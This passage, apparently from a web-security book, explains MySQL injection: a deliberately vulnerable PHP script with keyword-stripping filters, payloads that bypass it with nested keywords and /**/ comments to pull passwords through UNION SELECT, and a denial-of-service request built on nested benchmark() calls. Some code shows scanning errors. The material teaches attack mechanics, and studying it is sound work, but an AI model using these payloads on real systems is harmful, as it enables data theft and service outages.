char(47,116,109,112,47,53,53,56)                              +-----------------------------------------------------------+     /tmp/558                                                      +-----------------------------------------------------------+    1 row in set (0.00 sec)    mysql> select 111 from mysql.user into outfile    char(47,116,109,112, 47,53,53,56) ;    ERROR 1064: You have an error in your SQL syntax. Check the manual    that corresponds to your MySQL server version for the right syntax to    use near 'char(47,116,109,112,47,53,53,56)' at line 1    mysql>

In summary, the char() function can be used almost everywhere except in the select INTO OUTFILE construction. This construction requires the file name to be specified as a string between apostrophes or quotation marks rather than as an expression.

The CD-ROM accompanying this book contains a simple script, http://localhost/3/chr.php , that converts a string to ASCII codes.

Consider an example of circumventing another type of protection.

http://localhost/3/16.php
<? if(empty($id)) { echo " <form> Enter ID of the person: <input type=text name=id><input type=submit> </form> exit; }; mysql_connect("localhost", "root", ""); mysql_select_db("bookl"); $id=$_GET["id"]; $id=preg_replace('/AND/i', " , $id); $id=preg_replace('/OR/i', " , $id); $id=preg_replace('/SELECT/i', " , $id); $id=preg_replace('/UNION/i', " , $id); $id=preg_replace('/CHAR/i', " , $id); $id=preg_replace('/LOAD_FILE/i', " , $id); $id=preg_replace('/FROM/i', " , $id); $id=preg_replace('/WHERE/i', " , $id); $id=preg_replace('/LIKE/i', " , $id); $sq="select * from testl where id=$id"; $q=mysql_query($sq); if(($e=mysql error())<>") { echo $sq; echo "\r\n<br>\r\n"; echo $e; } if($r=mysql fetch_object($q)) echo $r->name; else echo "records not found"; ?>

http://localhost/3/16.php

 <?   if(empty($id))   {   echo "   <form>   Enter ID of the person: <input type=text name=id><input type=submit>   </form>   exit;   };   mysql_connect("localhost", "root", "");   mysql_select_db("bookl");   $id=$_GET["id"];   $id=preg_replace('/AND/i', " , $id);   $id=preg_replace('/OR/i', " , $id);   $id=preg_replace('/SELECT/i', " , $id);   $id=preg_replace('/UNION/i', " , $id);   $id=preg_replace('/CHAR/i', " , $id);   $id=preg_replace('/LOAD_FILE/i', " , $id);   $id=preg_replace('/FROM/i', " , $id);   $id=preg_replace('/WHERE/i', " , $id);   $id=preg_replace('/LIKE/i', " , $id);   $sq="select * from testl where id=$id";   $q=mysql_query($sq);   if(($e=mysql error())<>")   {     echo $sq;     echo "\r\n<br>\r\n";     echo $e;   }   if($r=mysql fetch_object($q))     echo $r->name;   else echo "records not found"; ?>

In this script, the programmer tries to prevent the attacker from exploiting the SQL injection vulnerability and uses instructions that delete dangerous words from the received parameter. In addition, all spaces are deleted from the parameter value.

How will this script respond to various requests? What SQL queries will it send to the MySQL server?

 su-2.05b# mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 44 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use bookl;    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> -- http://localhost/3/16.php?id=1    mysql> select * from testl where id=1;    +----+----------------------+     id  name                     +----+----------------------+      1  John Smith               +----+----------------------+    1 row in set (0.01 sec)    mysql> - http://localhost/3/16.php?id=2-1    mysql> select * from testl where id=2-l;    +----+----------------------+     id  name                     +----+----------------------+      1  John Smith               +----+----------------------+    1 row in set (0.00 sec)    mysql> -- http://localhost/3/16.php?id=1+AND+l    mysql> select * from testl where id=11;    Empty set (0.00 sec)    mysql> -- http://localhost/3/16.php?id=1+AND+'a'='a'    mysql> select * from testl where id=1'a'='a';    ERROR 1064: You have an error in your SQL syntax. Check the manual    that corresponds to your MySQL server version for the right syntax to    use near ''a'='a'' at line 1    mysql> -- http://localhost/3/16.php?id=99+union+select+'a','b'/*;    mysql> select * from testl where id=99'a','b'/*    ERROR 1064: You have an error in your SQL syntax. Check the manual    that corresponds to your MySQL server version for the right syntax to    use near ''a'/'b'/*' at line 1    mysql>

At first glance, this filtration prevents the attacker from exploiting the vulnerability. However, if you examine the code of the script closely, you'll notice that the filtration that deletes keywords can be circumvented by using special character sequences. I'll demonstrate this soon.

Circumventing this filtration is possible because if the deletion of keywords creates new keywords, the latter will be inserted into the query without filtration.

Consider a few values of the id parameter before and after the filtration:

 1 AND 2 -> 12    1 aORnd 2 -> 1AND2    99 uniORon SELECT nuANDll,nuAND11/* -> 99 UNIONselectNULL,NULL/*

The only problem for the attacker is that spaces are deleted. He or she can easily solve this because the /**/ comment sequence can replace a space practically in any language.

Here are a few more examples of the id parameter before and after the filtration:

 1/**/AND/**/2 -> 12    1/**/AORND/**/2 -> 1/**/AND/**/2    99/**/UNIlikeON/**/SELElikeCT/**/NU+LL,NU+LL/* ->    99/**/UNION/**/SELECT/**/NULL,NULL/*

Therefore, the attacker could send the server the following HTTP requests, which would result in correct SQL queries:

http://localhost/3/16.php?id=1/**/ANANDD/**/1
http://localhost/3/16.php?id=1/**/ANANDD/**/0
http://localhost/3/16.php?id=l/**/ UNLIKEION/**/SELLIKEECT/**/NNULLULL,NU+LL
http://localhost/3/16.php?id=9999/**/UNLIKEION/**/SELLIKEECT/**/ NNULLULL,pass/**/frFROMom/**/passwoORrds

To circumvent such a protection, the attacker only needs to embed a keyword into each filtered keyword so that the embedded keyword is deleted first. In any case, he or she can embed the identical keyword into each keyword: aANDnd , unUNIONion , and so on.

Denial-of-Service Attack and My SQL Injection

The Denial-of-Service (DoS) attack is one of the most frequent attacks because it is easily implemented. It can be launched at different levels of the client-server interaction. I'll describe a DoS attack based on HTTP that uses scripts vulnerable to SQL injection.

Definition

The Denial-of-Service (DoS) attack is an attack that prevents legitimate users from being served or at least hampers the service because of significant delays.

When there is the SQL injection vulnerability, the DoS attack on a database server costs the attacker almost nothing.

The attacker can exhaust the server's resources (e.g., the number of allowed connections) by repeatedly sending the benchmark (n, expr) function, which executes the expr expression n times. He or she can embed this function anywhere an expression can be embedded.

Consider an example of the use of this function:

 su-2.05b# mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 50 to server version: 4.0.18 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> -- Although md5() is a complicated function, it is fast. mysql> select md5(current_time); +-------------------------------------+  md5 (current_tiine)                  +-------------------------------------+  9d7030d74b805e5b74ed6045b59222a0     +-------------------------------------+ 1 row in set (0.00 sec) mysql> -- However, if you call it 1,000,000 times, it will take almost 5 seconds. mysql> select benchmark(1000000 ,md5(current_time)); +---------------------------------------+  benchmark(1000000 ,md5(current_time))  +---------------------------------------+                                      0  +---------------------------------------+ 1 row in set (4.52 sec) mysql> -- You can nest the benchmark() functions to complicate computation. In the next example, md5() is called 10,000,000 times, taking 48 seconds. mysql> select benchmark(10000, benchmark(1000 ,md5(current_time))); +------------------------------------------------------+  benchmark(10000, benchmark(1000 ,md5(current_time)))  +-----------------------------------------------------+                                                     0  +-----------------------------------------------------+ 1 row in set (48.08 sec) mysql>

Therefore, if the attacker repeatedly sends HTTP requests to a vulnerable script and embeds a few nested calls to the benchmark() function into an SQL query, he or she will exhaust the system resources, for example, by taking up all allowable connections. As a result, new connections to the SQL server will be rejected. Then, it will be difficult or impossible to other clients to use the SQL server.

Here are a few requests that result in DoS:

http://localhost/3/15.php
http:/ / localhost/3/15.php?id=1-0
http: // localhost/3/15.php?id= 1-benchmark(1000000,benchmark(1000000,md5(current_time)))

Sending the last HTTP request repeatedly will result in DoS.

The number of requests depends on the power of the server and on its settings. In most cases, it will suffice to make a few hundred requests to crash the server.

The time, during which the server will be unable to serve other clients, depends on the power of the server. It can last from a few minutes to tens of minutes or even longer.

To crash the server for a longer period, the attacker will send such requests continually. The traffic will cost him or her almost nothing. It will be enough to refresh the page with this address using a browser.

To launch a more powerful attack, the attacker can write a script that sends HTTP requests in a loop. Note that this type of attack can be launched if there is the SQL injection vulnerability, and expressions can be embedded instead of a parameter. The attack can be launched on both MySQL 3.x and MySQL 4.x.

Because the request doesn't contain apostrophes or quotation marks, the attack is possible even when these characters are filtered from the received parameter values.